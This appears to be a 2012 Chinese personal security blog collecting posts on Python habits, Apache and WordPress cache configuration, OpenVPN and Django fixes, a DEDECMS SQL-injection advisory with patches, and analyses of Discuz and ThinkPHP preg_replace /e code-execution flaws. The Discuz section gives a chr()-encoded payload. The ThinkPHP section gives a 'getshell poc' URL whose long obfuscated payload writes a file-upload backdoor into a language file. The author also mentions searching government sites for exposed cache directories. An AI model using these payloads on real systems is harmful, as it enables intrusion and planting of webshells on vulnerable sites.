刚读了篇文章:

http://www.oschina.net/question/1579_45822

庆幸的是其中有不少都是我经常用的方式,比如

x, y = y, x

尽量少使用全局变量

尽量多使用 in

需要的时候再 import

使用 while 1 代替 while true

使用列表解析代替 for i in [1, 2, 3]

某些时候使用 xrange() 代替 range()

等等,其实最初用这些方式来写代码的时候并非出于效率考虑,只是这里面很多用法写出来会觉得比正常的写法帅,所以这么写着写着就习惯了,没想到却能提高效率,嘿嘿。

特地找了些自己以前写的代码来对比下,发现自己的代码确实还有很多地方可以优化的,虽然我们做安全的都是二手程序员,但是掌握优秀的编码习惯也很重要的哈。

排序可能稍有不同,估计我们整个公司所有人都在老杨的教育下经常使用快排算法吧,哈哈 :P

 

Author: 北北

# 其实这篇文章写出来是泄露了很多信息的,不过还是想把这解决过程写出来方便以后碰到同样问题的朋友吧。你们不要黑我……

博客服务器本身不在国内,访问量一大感觉就更慢了,做个cache应该会让程序和数据库压力小些,于是昨天装了个插件叫wp-super-cache,装完发现不能正常用,先是各种权限问题,解决之后好像是行了?

不过今天突然发现后台显示已缓存的文件的地方竟然只有WP-Cache在工作,WP-Super-Cache处于弱智状态……

仔细看了下错误日志发现是我php.ini里禁用了太多函数,开启了这些函数之后貌似工作了,不过发现有时访问会500!

这必须不能忍了,下决心今天必须搞定它,不管几点!

再看日志发现类似

[Tue May 01 01:17:20 2012] [alert] [client x.x.x.x] /x/x/xblog/wp-content/cache/.htaccess: RewriteEngine not allowed here

我擦,又是权限设置太死导致的,之前为了.htaccess能 rewrite 已经设置了 AllowOverride FileInfo 啊,咋还特么有问题呢?

google之,国内基本没相关内容,老外却一致建议直接修改apache配置文件 AllowOverride Indexes或者All:

http://www.masterblanker.com/2010/03/22/wp-supercache-and-error-500/

http://speedforce.org/2009/01/were-back/

这是坑爹呢还是坑爹呢还是坑爹呢…… 设置成这样不是随便列目录了么?这几篇文章肯定坑了不少人。

于是打算写个类似于给子目录单独设置权限,类似:

<Directory /x/x/xblog/wp-content/cache>
	Options +Indexes FollowSymLinks
	AllowOverride Indexes FileInfo
</Directory>

此时 /wp-content/cache 可列目录,其他目录不可列,其实这样已经可以忍了,不过我记得鬼仔也用这插件的,所以跑去看了他的

http://huaidan.org/wp-content/cache/

哎呀 403,看来我还是没设置对啊,我貌似傻傻分不清楚的多写了句 Options +Indexes FollowSymLinks,于是尝试只写一句 AllowOverride Indexes FileInfo ,可以了……

apache、nginx这类东西平时都是编译安装好之后,安全方面配置一下就直接用了,其中太详细设置还真是不碰到问题就想不起来仔细研究啊,这下总算花时间仔细研究了。这就是传说中的运维么?- -

前面废话写太多了最终写成

<Directory /x/x/xblog/wp-content/cache>
	AllowOverride Indexes FileInfo
</Directory>

即可。

我不知道我这样设置是否有问题,就目前来看在我这个博客这里是没问题的了,如果各位牛觉得有问题请告诉我一下,先谢了!

然后去随便搜索了一下 Index of /wp-content/cache/meta: site:gov.cn

咦……

 

2012/4/29 凌晨 知道创宇安全研究团队截获到最新DEDECMS SQL注入 0day,官网目前提供下载的最新版5.7也受影响,截止本告警发出时官方尚未给出补丁或解决方案,此漏洞利用简单且dedecms安装之后默认即开启漏洞模块。

知道创宇给出三种临时解决方案:

方案一、临时补丁,需要四步

1. 确保您的magic_quotes_gpc = On

详细开启方式:打开php安装目录中的php.ini(若您使用的是appserv等集成环境,php.ini可能在系统盘符:\windows\php.ini),搜索magic_quotes_gpc,将其设置为On。

2.

/plus/carbuyaction.php 22行附近即

if($cfg_mb_open == 'N')
{
    ShowMsg("系统关闭了会员功能,因此你无法访问此页面!","javascript:;");
    exit();
}

下面添加一行代码

$rs =array();

3.

在 member/ajax_membergroup.php 33行附近即

if(empty($membergroup)){
    echo "您还没有设置分组!";
    exit;
}

下面加入如下代码:

if(strpos($membergroup,"'")){
    echo "SQL注入防护临时补丁,知道创宇安全团队提醒您关注官方补丁!";
    exit;
}

4.

原member/ajax_membergroup.php 36 行附近的

$row = $dsql->GetOne("SELECT groupname FROM #@__member_group WHERE mid = {$cfg_ml->M_ID} AND id={$membergroup}");

修改为

$row = $dsql->GetOne("SELECT groupname FROM #@__member_group WHERE mid = {$cfg_ml->M_ID} AND id='{$membergroup}'");

方案二、以网站管理员身份后台禁用会员功能

系统 -> 系统基本参数 -> 会员设置 -> 是否开启会员功能 改为(否)

方案三、若贵站不需要会员功能,可考虑直接重命名或删除存在漏洞的文件 /member/ajax_membergroup.php,最暴力却最有效的方式。

本文给出的临时补丁仅供临时防御,对系统造成轻微影响尚未进行系统测试,目前我们已经通知织梦CMS官方,具体补丁等请等待官方补丁。

关于我们:

知道创宇拥有一支国际一流的Web安全研究团队,能够实时跟踪最新Web安全技术及趋势。

我们追求卓越的WEB安全技术,致力于为网站提供安全产品、SaaS(安全即服务)服务,让网站更安全,为中国互联网的信息安全贡献我们的一份力量。

联系我们:http://www.knownsec.com/

 

Author: 北北

刚群里黑哥丢出个乌云的链接:http://www.wooyun.org/bugs/wooyun-2012-06420

问谁上,我说我上吧,职业病,看到discuz dede啥的漏洞一下就精神了,哈哈……

过程简单说下,记的有点乱不贴太多代码了

diff一下看

@@ -4,7 +4,7 @@
  *      [Discuz!] (C)2001-2099 Comsenz Inc.
  *      This is NOT a freeware, use is subject to license terms
  *
- *      $Id: helper_seo.php 28028 2012-02-21 04:41:41Z chenmengshu $
+ *      $Id: helper_seo.php 29370 2012-04-09 04:39:11Z chenmengshu $
  */

 if(!defined('IN_DISCUZ')) {
@@ -89,7 +89,7 @@
}
}
if($searcharray && $replacearray) {
- $content = preg_replace("/(<a\s+.*?>.*?<\/a>)|(<img\s+.*?[\/]?>)|(\[attach\](\d+)\[\/attach\])/ies", 'helper_seo::base64_transform("encode", "<relatedlink>", "\\1\\2\\3", "</relatedlink>")', $content);
+ $content = preg_replace("/(<a\s+.*?>.*?<\/a>)|(<img\s+.*?[\/]?>)|(\[attach\](\d+)\[\/attach\])/ies", "helper_seo::base64_transform('encode', '<relatedlink>', '\\1\\2\\3', '</relatedlink>')", $content);
$content = preg_replace($searcharray, $replacearray, $content, 1);
$content = preg_replace("/<relatedlink>(.*?)<\/relatedlink>/ies", "helper_seo::base64_transform('decode', '', '\\1', '')", $content);
}
@@ -100,7 +100,7 @@

public static function base64_transform($type, $prefix, $string, $suffix) {
    if($type == 'encode') {
-      return $prefix.base64_encode(str_replace("\'", "'", $string)).$suffix;
+      return $prefix.base64_encode(str_replace("\\\"", "\"", $string)).$suffix;
} elseif($type == 'decode') {
       return $prefix.base64_decode($string).$suffix;
}

够清楚吧,问题在/source/class/helper/helper_seo.php 92行附近的:

$content = preg_replace("/(<a\s+.*?>.*?<\/a>)|(<img\s+.*?[\/]?>)|(\[attach\](\d+)\[\/attach\])/ies", 'helper_seo::base64_transform("encode", "<relatedlink>", "\\1\\2\\3", "</relatedlink>")', $content);

preg_replace 使用了e修正符,又是双引号,所以导致远程任意代码执行。

需要论坛支持个功能,啥功能看68行 $_G['cache']['relatedlink'],grep下relatedlink一路跟找到需要后台开个seo功能,详细代码不贴了自己看下,在运营-关联链接 /admin.php?frames=yes&action=misc&operation=relatedlink,且至少需要设置一个链接,这功能不是所有管理员都开,但是我觉得大部分都会开,如果不开,它就只能是个后台拿shell的tips了。

function_core.php 1925
function parse_related_link($content, $extent) {
return helper_seo::parse_related_link($content, $extent);
}

看正则

"/(<a\s+.*?>.*?<\/a>)|(<img\s+.*?[\/]?>)|(\[attach\](\d+)\[\/attach\])/ies"

那么利用方式还用说么? 各种地方比如 source/include/space/space_blog.php,懂的都懂了 :P

公司数据中心也在跑影响范围稍后会公布吧。

# ——- 2012/4/28 update ———

网上都有人发了,我也更新一下吧。

@峙酿君edwardz同学说:漏洞要开启seo,并且开启用户日志的seo,漏洞鸡肋,黑站就算了。

补充一下吧,开seo没错,但是并非他说的非得开日志的seo,我上面文章中说的 “各种地方比如 source/include/space/space_blog.php,懂的都懂了” 只是随便提个例子而已,其实在任何能够发表文章的地方都可以,最简单的,论坛找个板块发贴子就行,这主要看管理员开启了哪个位置的seo,如果不知道管理员开了哪的seo就到处都发一下。

利用方式也并非非得发blog,也不是非得发网络图片,详细的利用我是比如随便发个贴子,内容

${${eval(chr(112).chr(104).chr(112).chr(105).chr(110).chr(102).chr(111).chr(40).chr(41).chr(59))}} 

然后给他加上任意超链接,发布即可phpinfo(),enjoy it :)

 

今天安装OpenVPN之后运行弹框提示:

—————————
OpenVPN GUI
—————————
CreateProcess failed, exe=’D:\Program Files (x86)\OpenVPN\bin\openvpn.exe’ cmdline=’openvpn –version’ dir=’D:\Program Files (x86)\OpenVPN\bin’
—————————
确定
—————————

google 百度之,提到的只有两三篇blog,清一色:

卸载后打开注册表,删除“[HKEY_LOCAL_MACHINE\SOFTWARE\OpenVPN-GUI]”项,重新安装。

尝试按照这个操作发现我在注册表对应位置找不到它?搜索也搜索不到?如果你是windows7 64 你可能也会碰到这个情况 :(

仔细一看上面的提示发现并非是我现在安装所选的路径,于是猜想可能是由于以前安装过openvpn,所以会在注册表里写入安装路径,哪怕用金山卫士啥的尝试完全卸载,注册表也不会完全清空。

再次安装启动时还是会找原来的注册表里写的路径,如果新安装的路径跟以前不一样,就会报这个错误。

网上的意思是修改原来的注册表改成现在的安装路径,既然我悲催的找不到,那就退一步,卸载当前OpenVPN之后重新安装,安装位置选成之前弹框提示的位置D:\Program Files (x86)\OpenVPN,解决。

 

第一个来自ring04h牛

https://gist.github.com/2490851

https://gist.github.com/2490900

代理

 

今天去owasp-完美安全技术沙龙打酱油,碰到好多老朋友,还见到了几年没见的张胜生老师,很开心,哈哈!

搞了几个完美的纪念品回来,可惜这不是我想要的,我想要的是完美的妹子!可惜鸟哥、乐平还有团长这仨好基友不给 :(

好多人要《Python Hack》的ppt,估计是因为其他前辈讲的东西都比较高端,大家觉得我说的东西比较好玩,能实际应用到hacking当中,大家都想尝试一下吧。

# ===================================

http://115.com/folder/fauqyb25

里面提到了一些demo的代码如果需要可以留言,不过我觉得应该都不需要……没啥复杂的代码。Have Fun :)

# ========= 4/23 update =============

owasp给了全部ppt下载

http://www.owasp.org.cn/OWASP_Events/20120415

 

有iis7.5溢出利用

http://www.phrack.org/issues.html?issue=68

 

最近在研究Web开源框架,主要是Python的Web框架,昨天刚好看到乌云上的

http://zone.wooyun.org/index.php?do=view&id=44

说的是thinkphp框架的任意代码执行漏洞,随便测试了一些网站,影响面非常广,包括某些非常大的站,甚至某些IT厂商官网,另外

http://code.google.com/hosting/search?q=thinkphp&filter=0&mode=&start=30

https://developers.google.com/search?q=thinkphp

大量网站使用thinkphp,甚至还有很多人在thinkphp基础上进行优化更改写出新的开源框架,继续传播,这……在我看来这种开源框架漏洞的影响是非常深远的,不像CMS的漏洞,有漏洞有提示就补了,这种框架的漏洞短时间内如果不是有个懂安全的人在维护的网站,基本上不会进行修复。

问题在
ThinkPHP/Lib/Core/Dispatcher.class.php 123
ThinkPHP/Lib/Behavior/CheckRouteBehavior.class.php 199

看Dispatcher.class.php吧
123行附近
$res = preg_replace(‘@(\w+)’.$depr.’([^'.$depr.'\/]+)@e’, ‘$var[\'\\1\']=”\\2″;’, implode($depr,$paths));

看$depr,在100行左右调用ThinkPHP/Common/common.php C函数,查询系统配置,最终默认$depr = ‘/’。

看$paths,108行操作:
$paths = explode($depr,trim($_SERVER['PATH_INFO'],’/'));

$paths得到类似 Array ( [0] => index [1] => hack [2] => 1 [3] => 2 [4] => 3 ) 数组。

附近PATH_INFO类似的东西参考ThinkPHP/Conf/convention.php内的数组定义

$var具体是什么数组貌似不重要,只是到123行 preg_replace 中 replacement 处为 $var[\'\\1\'] 赋值 \\2 的时候触发了双引号执行代码。(漏洞触发之前$var形如Array ( [m] => index [a] => hack )数组,m和a参考前面几行,注意进入ThinkPHP/Conf/convention.php)

最终类似

$res = preg_replace(‘@(\w+)/([^/\/]+)@e’, ‘$var[\'\\1\']=”\\2″;’, ‘index/hack/1′);

贪婪匹配,只要在双数位置(如/hack/1/2/3/4/5/6/7/evilcode)出现代码即进入$var['index']=”evilcode”双引号执行。

getshell poc:

http://127.0.0.1/index.php/index/index/1/$%7B$%7Beval(chr(102).chr(112).chr(117).chr(116).chr(115).chr(40).chr(102).chr(111).chr(112).chr(101).chr(110).chr(40).chr(39).chr(84).chr(104).chr(105).chr(110).chr(107).chr(80).chr(72).chr(80).chr(47).chr(108).chr(97).chr(110).chr(103).chr(47).chr(122).chr(104).chr(45).chr(116).chr(119).chr(46).chr(112).chr(104).chr(112).chr(39).chr(44).chr(39).chr(119).chr(39).chr(41).chr(44).chr(34).chr(71).chr(73).chr(70).chr(56).chr(57).chr(97).chr(60).chr(63).chr(112).chr(104).chr(112).chr(32).chr(105).chr(102).chr(32).chr(40).chr(92).chr(36).chr(95).chr(80).chr(79).chr(83).chr(84).chr(41).chr(123).chr(92).chr(36).chr(102).chr(111).chr(61).chr(102).chr(111).chr(112).chr(101).chr(110).chr(40).chr(92).chr(36).chr(95).chr(80).chr(79).chr(83).chr(84).chr(91).chr(39).chr(112).chr(39).chr(93).chr(44).chr(39).chr(119).chr(39).chr(41).chr(59).chr(105).chr(102).chr(40).chr(102).chr(119).chr(114).chr(105).chr(116).chr(101).chr(40).chr(92).chr(36).chr(102).chr(111).chr(44).chr(92).chr(36).chr(95).chr(80).chr(79).chr(83).chr(84).chr(91).chr(39).chr(120).chr(39).chr(93).chr(41).chr(41).chr(123).chr(101).chr(99).chr(104).chr(111).chr(32).chr(39).chr(60).chr(102).chr(111).chr(110).chr(116).chr(32).chr(99).chr(111).chr(108).chr(111).chr(114).chr(61).chr(114).chr(101).chr(100).chr(62).chr(83).chr(97).chr(118).chr(101).chr(32).chr(83).chr(117).chr(99).chr(99).chr(101).chr(115).chr(115).chr(33).chr(60).chr(47).chr(102).chr(111).chr(110).chr(116).chr(62).chr(32).chr(62).chr(62).chr(32).chr(92).chr(36).chr(95).chr(80).chr(79).chr(83).chr(84).chr(91).chr(112).chr(93).chr(39).chr(59).chr(125).chr(101).chr(108).chr(115).chr(101).chr(123).chr(101).chr(99).chr(104).chr(111).chr(32).chr(39).chr(60).chr(102).chr(111).chr(110).chr(116).chr(32).chr(99).chr(111).chr(108).chr(111).chr(114).chr(61).chr(114).chr(101).chr(100).chr(62).chr(83).chr(97).chr(118).chr(101).chr(32).chr(85).chr(110).chr(83).chr(117).chr(99).chr(99).chr(101).chr(115).chr(115).chr(63).chr(60).chr(47).chr(102).chr(111).chr(110).chr(116).chr(62).chr(39).chr(59).chr(125).chr(125).chr(63).chr(62).chr(60).chr(102).chr(111).chr(114).chr(109).chr(32).chr(97).chr(99).chr(116).chr(105).chr(111).chr(110).chr(61).chr(39).chr(39).chr(32).chr(109).chr(101).chr(116).chr(104).chr(111).chr(100).chr(61).chr(39).chr(112).chr(111).chr(115).chr(116).chr(39).chr(62).chr(60).chr(116).chr(101).chr(120).chr(116).chr(97).chr(114).chr(101).chr(97).chr(32).chr(110).chr(97).chr(109).chr(101).chr(61).chr(39).chr(120).chr(39).chr(32).chr(105).chr(100).chr(61).chr(39).chr(120).chr(39).chr(32).chr(114).chr(111).chr(119).chr(115).chr(61).chr(39).chr(49).chr(48).chr(39).chr(32).chr(99).chr(111).chr(108).chr(115).chr(61).chr(39).chr(53).chr(48).chr(39).chr(62).chr(105).chr(110).chr(112).chr(117).chr(116).chr(32).chr(121).chr(111).chr(117).chr(114).chr(32).chr(98).chr(97).chr(99).chr(107).chr(100).chr(111).chr(111).chr(114).chr(32).chr(99).chr(111).chr(100).chr(101).chr(32).chr(104).chr(101).chr(114).chr(101).chr(60).chr(47).chr(116).chr(101).chr(120).chr(116).chr(97).chr(114).chr(101).chr(97).chr(62).chr(60).chr(98).chr(114).chr(62).chr(83).chr(97).chr(118).chr(101).chr(32).chr(80).chr(97).chr(116).chr(104).chr(58).chr(60).chr(105).chr(110).chr(112).chr(117).chr(116).chr(32).chr(116).chr(121).chr(112).chr(101).chr(61).chr(39).chr(116).chr(101).chr(120).chr(116).chr(39).chr(32).chr(110).chr(97).chr(109).chr(101).chr(61).chr(39).chr(112).chr(39).chr(32).chr(105).chr(100).chr(61).chr(39).chr(112).chr(39).chr(32).chr(118).chr(97).chr(108).chr(117).chr(101).chr(61).chr(39).chr(60).chr(63).chr(112).chr(104).chr(112).chr(32).chr(101).chr(99).chr(104).chr(111).chr(32).chr(92).chr(36).chr(95).chr(83).chr(69).chr(82).chr(86).chr(69).chr(82).chr(91).chr(39).chr(83).chr(67).chr(82).chr(73).chr(80).chr(84).chr(95).chr(70).chr(73).chr(76).chr(69).chr(78).chr(65).chr(77).chr(69).chr(39).chr(93).chr(63).chr(62).chr(39).chr(62).chr(60).chr(105).chr(110).chr(112).chr(117).chr(116).chr(32).chr(116).chr(121).chr(112).chr(101).chr(61).chr(39).chr(115).chr(117).chr(98).chr(109).chr(105).chr(116).chr(39).chr(32).chr(105).chr(100).chr(61).chr(39).chr(98).chr(39).chr(32).chr(118).chr(97).chr(108).chr(117).chr(101).chr(61).chr(39).chr(85).chr(112).chr(76).chr(111).chr(97).chr(100).chr(39).chr(32).chr(47).chr(62).chr(60).chr(47).chr(102).chr(111).chr(114).chr(109).chr(62).chr(34).chr(41).chr(59))%7D%7D

在 /ThinkPHP/lang/zh-tw.php 小马

 

昨天玩SAE的时候碰到个问题,本地正常但是SVN提交代码之后访问就各种报错,大部分错误信息如下:

Traceback (most recent call last):

  balabalabala…… 

  File "/usr/local/sae/python/lib/python2.6/site-packages/django/template/loader.py", line 95, in find_template_loader
    mod = import_module(module)
  File "/usr/local/sae/python/lib/python2.6/site-packages/django/utils/importlib.py", line 35, in import_module
    __import__(name)
  File "/usr/local/sae/python/lib/python2.6/site-packages/django/template/loaders/app_directories.py", line 23, in <module>
    raise ImproperlyConfigured('ImportError %s: %s' % (app, e.args[0]))
ImproperlyConfigured: ImportError django.contrib.staticfiles: No module named staticfiles

http://stackoverflow.com/questions/4987333/error-no-module-named-staticfiles

找到

“You’re probably using older version of Django. staticfiles app has been available from version 1.3 only.”

看来是新浪sae的django版本应该是低于1.3的?

于是分别打印我本地和sae的django版本,发现本地为(1, 3, 0, ‘final’, 0),sae为127final0,果然……

打开settings.py找到

INSTALLED_APPS = (
    'balabalabala....',
    'django.contrib.staticfiles',
    'balabalabala....',
)

注释掉 ‘django.contrib.staticfiles’ ,提交,解决。

© 2012 北北